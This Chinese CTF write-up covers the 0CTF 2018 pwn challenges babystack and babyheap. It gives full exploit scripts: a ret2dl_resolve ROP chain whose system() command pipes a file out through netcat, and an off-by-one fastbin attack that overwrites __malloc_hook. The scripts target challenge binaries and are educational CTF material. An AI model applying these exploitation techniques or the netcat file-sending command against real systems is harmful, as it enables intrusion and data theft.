0ctf2018 pwn

前言

0ctf2018pwn 做一个总结

正文

babystack

漏洞

非常直接的 栈溢出

ssize_t sub_804843B()
{
  char buf; // [esp+0h] [ebp-28h]

  return read(0, &buf, 0x40u);
}

这个题的难点在于 用 python 启动了该程序同时过滤了 stdoutstdout

#!/usr/bin/python -u
# encoding: utf-8
from pwn import *
import random, string, subprocess, os, sys
from hashlib import sha256

os.chdir(os.path.dirname(os.path.realpath(__file__)))

def proof_of_work():
    chal = ‘‘.join(random.choice(string.letters+string.digits) for _ in xrange(16))
    print chal
    sol = sys.stdin.read(4)
    if len(sol) != 4 or not sha256(chal + sol).digest().startswith(‘\0\0\0‘):
        exit()

def exec_serv(name, payload):
    p = subprocess.Popen(name, stdin=subprocess.PIPE, stdout=file(‘/dev/null‘,‘w‘), stderr=subprocess.STDOUT)
    p.stdin.write(payload)
    p.wait()

if __name__ == ‘__main__‘:
    proof_of_work()
    payload = sys.stdin.read(0x100)
    exec_serv(‘./babystack‘, payload)

利用

无输出,使用 ret to dl_resolve.

#coding:utf-8
import sys
sys.path.append(‘./roputils‘)
import roputils
from pwn import *
from hashlib import sha256

context.terminal = [‘tmux‘, ‘splitw‘, ‘-h‘]
fpath = ‘./babystack‘
offset = 44   # 离覆盖 eip 需要的距离
command_len = 60  # system 执行的命令长度

readplt = 0x08048300
bss = 0x0804a020
vulFunc = 0x0804843B

p = process(fpath)

rop = roputils.ROP(fpath)
addr_bss = rop.section(‘.bss‘)

# step1 : write shStr & resolve struct to bss
# buf1 = rop.retfill(offset)
buf1 = ‘A‘ * offset #44
buf1 += p32(readplt) + p32(vulFunc) + p32(0) + p32(addr_bss) + p32(100)
p.send(buf1)

log.info("首先 rop 调用 read, 往 .bss 布置数据")

buf2 = ‘head exp.py | nc 127.0.0.1 8888\x00‘
buf2 += rop.fill(command_len, buf2)
buf2 += rop.dl_resolve_data(addr_bss+command_len, ‘system‘)
buf2 += rop.fill(100, buf2)
p.send(buf2)
log.info("布置 bss, 在 bss+command_len 处解析出 system 的地址")

#step3 : use dl_resolve_call get system & system(‘/bin/sh‘)
buf3 = ‘A‘*offset + rop.dl_resolve_call(addr_bss+command_len, addr_bss)
p.send(buf3)
log.info("布置好后,通过 dl_resolve_call, 调用 system")

p.interactive()

babyheap

漏洞

漏洞位于 update 函数时,可以往分配的内存多写入一字节的数据

int __fastcall update(obj *table)
{
  unsigned __int64 size; // rax
  signed int idx; // [rsp+18h] [rbp-8h]
  int size_; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  idx = get_num();
  if ( idx >= 0 && idx <= 15 && table[idx].inused == 1 )
  {
    printf("Size: ");
    LODWORD(size) = get_num();
    size_ = size;
    if ( size > 0 )
    {
      size = table[idx].size + 1;               // size = 分配的内存size + 1
      if ( size_ <= size )
      {
        printf("Content: ");
        read_to_buf(table[idx].heap, size_);    // 可以溢出一个字节
        LODWORD(size) = printf("Chunk %d Updated\n", idx);
      }
    }
  }
  else
  {
    LODWORD(size) = puts("Invalid Index");
  }
  return size;
}

利用

  • 利用 off-by-oneoverlap chunk. 然后利用 分配 unsorted bin 的切割机制,拿到 libc 地址
  • 再次 overlap chunk ,构造 0x40 大小的 fastbin ,修改 0x40 大小的 fastbin 的第一个chunkfd0x61
  • 分配一个 0x40fastbin, 此时 main_arean->fastbin 中就会出现 0x61, 用来 fastbin 攻击
  • 再次 overlap chunk ,构造 0x60 大小的 fastbin, 修改 0x60 大小的 fastbin 的第一个 chunkfdmain_arean->fastbin
  • fastbin attack分配到 main_arean, 然后修改 main_arean->top__malloc_hook - 0x10, 然后分配内存,修改 __malloc_hookone_gadget
#/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from time import *
context.terminal = [‘tmux‘, ‘splitw‘, ‘-h‘]
context(os=‘linux‘, arch=‘amd64‘, log_level=‘info‘)

env = {"LD_PRELOAD": "./libc-2.24.so"}

# p = process("./babyheap", aslr=0)
p = remote("202.120.7.204", 127)

def allocate(size):
    p.recvuntil("Command: ")
    p.sendline("1")
    p.recvuntil("Size: ")
    p.sendline(str(size))

def update(idx, size, content):
    p.recvuntil("Command: ")
    p.sendline("2")
    p.recvuntil("Index: ")
    sleep(0.1)
    p.sendline(str(idx))
    p.recvuntil("Size: ")
    p.sendline(str(size))
    p.recvuntil("Content: ")
    sleep(0.1)
    p.send(content)

def delete(idx):
    p.recvuntil("Command: ")
    p.sendline("3")
    p.recvuntil("Index: ")
    p.sendline(str(idx))

def view(idx):
    p.recvuntil("Command: ")
    p.sendline("4")
    p.recvuntil("Index: ")
    p.sendline(str(idx))

code_base = 0x555555554000

gdb_command = ‘‘‘
# bp %s
directory ~/workplace/glibc-2.23/malloc/
x/30xg 0x429C0F050000
c
‘‘‘ %(hex(code_base + 0x000FA9))

# gdb.attach(p, gdb_command)
# pause()

allocate(0x18)  # 0
allocate(0x38)  # 1
allocate(0x48)  # 2
allocate(0x18)  # 3

update(0,0x19, "a" * 0x18 + "\x91")
delete(1)

allocate(0x38)  # 1

view(2)
p.recvuntil("]: ")

lib = ELF("./libc-2.24.so")

# libc = u64(p.recv(6) + "\x00" * 2) - 0x3c4b78
libc = u64(p.recv(6) + "\x00" * 2) - lib.symbols[‘__malloc_hook‘] - 0x68

malloc_hook = lib.symbols[‘__malloc_hook‘] + libc
# fast_target = libc + 0x3c4b30
fast_target = malloc_hook + 0x20
bins = malloc_hook + 0x68

one_gad = libc + 0x3f35a

# bins = libc + 0x3c4b78
# bins = malloc_hook

log.info("libc: " + hex(libc))

allocate(0x58)  # 4
allocate(0x28)  # 5
allocate(0x38)  # 6
allocate(0x48)  # 7
allocate(0x18)  # 8
allocate(0x18)  # 9

delete(5)
delete(6)
delete(8)

update(3,0x19, "a" * 0x18 + "\xf1")
delete(4)
allocate(0x58)  # 4
allocate(0x18)  # 5
allocate(0x48)  # 6

# update(4,0x59, "a" * 0x59 + "\x31")
update(6, 0x8, p64(0x61))
update(4, 0x59, "a" * 0x58 + "\x41")
# pause()
allocate(0x38)  # 8

allocate(0x28)  # 10
allocate(0x18)  # 11
allocate(0x58)  # 12
allocate(0x58)  # 13
# pause()

payload = p64(0x0)
payload += p64(0xc1)

update(7,len(payload), payload)
log.info("make 0x180‘s size 0xc1")
delete(11)
pause()

allocate(0x48)  # 11
allocate(0x58)  # 14
update(14, 0x10, p64(0) + p64(0x0000000000000061))
delete(12)
update(14, 0x18, p64(0) + p64(0x0000000000000061) + p64(fast_target))

delete(0)
# delete(1)
delete(2)

allocate(0x58) # 0

allocate(0x58) # 2

payload = ‘a‘ * 0x38
payload += p64(malloc_hook-0x10)
payload += p64(bins) * 3

print hex(len(payload))

update(2, len(payload), payload)
delete(0)

allocate(0x28)

payload = "a" * 8
payload += p64(0)
payload += p64(0x21)
payload += p64(bins) * 2

update(11,len(payload), payload)

allocate(0x28)

update(12, 8, p64(one_gad))

log.info("done")
# pause()

allocate(0x10)

p.interactive()

# x/30xg 0x429C0F050000

原文地址:https://www.cnblogs.com/hac425/p/9416965.html

时间: 2024-10-13 11:38:50

0ctf2018 pwn的相关文章

Jarvis OJ Pwn writeup

Jarvis OJ Pwn writeup1.[XMAN]level02.[XMAN]level13.[XMAN]level2(简单64位栈溢出)4.[XMAN]level2(x64)5.[XMAN]level3(32位下两次溢出拿shell)6.[XMAN]level3_x64(基本64位栈溢出,简单ROP)7.[XMAN]level4(DynELF泄露system地址)8.[XMAN]level5(mprotect函数)9.Test Your Memory(简单栈溢出,覆盖返回地址)10.S

plaidctf-2016 Pwn试题小结

回顾了一下今年plaidctf Pwn部分的题目,感觉还是蛮有意思的,值得研究一下. 1.unix_time_formatter-76 最简单的一道题,考点是UAF.说是UAF但是其实根本就不算是真正的UAF利用,无非就是对释放的内存块进行同大小的占位.因为程序中会把内存块的内容作为system函数的参数,所以只要重新占位并写入/bin/sh就可以了,这道题还是相当简单的. 2.butterfly-150 这道题比较有趣.详细的看了一下. int __cdecl main(int argc, c

【PWN】[email&#160;protected] 日课

Code:int __cdecl main(int argc, const char **argv, const char **envp){ int result; // [email protected] char sloganstr; // [sp+1Ch] [bp-9Ch]@1 char namestr[16]; // [sp+9Ch] [bp-1Ch]@1 size_t nbytes; // [sp+ACh] [bp-Ch]@1 nbytes = 16; *(_DWORD *)names

【PWN】[email&#160;protected] exploit

利用典型的format string 漏洞实现内存泄露与内存覆写从而修改key实现直接通过,当然也可以覆写got表的内容改变程序执行流,这两个的缺点就是覆写的时候那个巨大的字符串确实需要很长时间才能输出完实现覆盖,看了国外的writeup里面提到了在内存中搜索key的地址,至少在时间上不会这么长,而且也是另一种截然不同的思路了.. 这一题确实学习到了不少,比如$n的使用,esp ebp的高级利用,对fsb有了一个更深的理解,顺便膜拜了一下CMU的PPP战队,为以后提供了不少经验吧-都在脚本里了-

pwn学习之二

刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字符串漏洞,通过找到printf的got表改为system的got表,从而让执行printf函数变成执行system函数再传入/bin/sh参数,从而让程序执行system('/bin/sh')获取shell. 打开ida查看: 程序逻辑就是执行getname()函数. 进入getname()函数:

pwn学习之一

刚刚开始学习pwn,记录一下自己学习的过程. 今天完成了第一道pwn题目的解答,做的题目是2017年TSCTF的bad egg,通过这道题学习到了一种getshell的方法:通过在大小不够存储shellcode的空间内写入egg_hunter使其去找到真正的shellcode所在的地址执行拿到shell. 首先拿到题目用ida去查看: 题目首先通过sub_8B0()生成了一个1000以内的随机数用来给dword_305C申请地址,这里用的malloc申请的地址是存在在堆中的,然后题目会把申请到的

SCTF 2014 pwn题目分析

因为最近要去做ctf比赛的这一块所以就针对性的分析一下近些年的各大比赛的PWN题目.主防项目目前先搁置起来了,等比赛打完再去搞吧. 这次分析的是去年的SCTF的赛题,是我的学长们出的题,个人感觉还是很符合套路的:一道栈溢出.一道格式化字符串.一道堆溢出. pwn200 一个栈溢出. 题目给出了libc.保护只有nx. 拿到题后的基本思路就是leak出got表中函数的地址,然后拿libc算偏移算出system的地址.然后用这个地址去覆盖一个函数的got表. pwn300 一个明显的格式化字符串漏洞

pwn 题GDB调试技巧和exp模板

GDB分析ELF文件常用的调试技巧 gdb常用命令 首先是gbd+文件名 静态调试 ,gdb attach +文件名 动态调试 为了方便查看堆栈和寄存器 最好是安装peda插件 安装 可以通过pip直接安装,也可以从github上下载安装 $ pip install peda $ git clone https://github.com/longld/peda.git ~/peda $ echo "source ~/peda/peda.py" >> ~/.gdbinit 命

【PWN】[email&#160;protected]

#Exploit for [email protected] #@Windcarp 2015.07.05 from pwn import * #init context(arch = 'i386', os = 'linux') local=True if local: p = process("./urldecoder") libc = ELF("/lib/i386-linux-gnu/libc.so.6") else: p = remote("166.1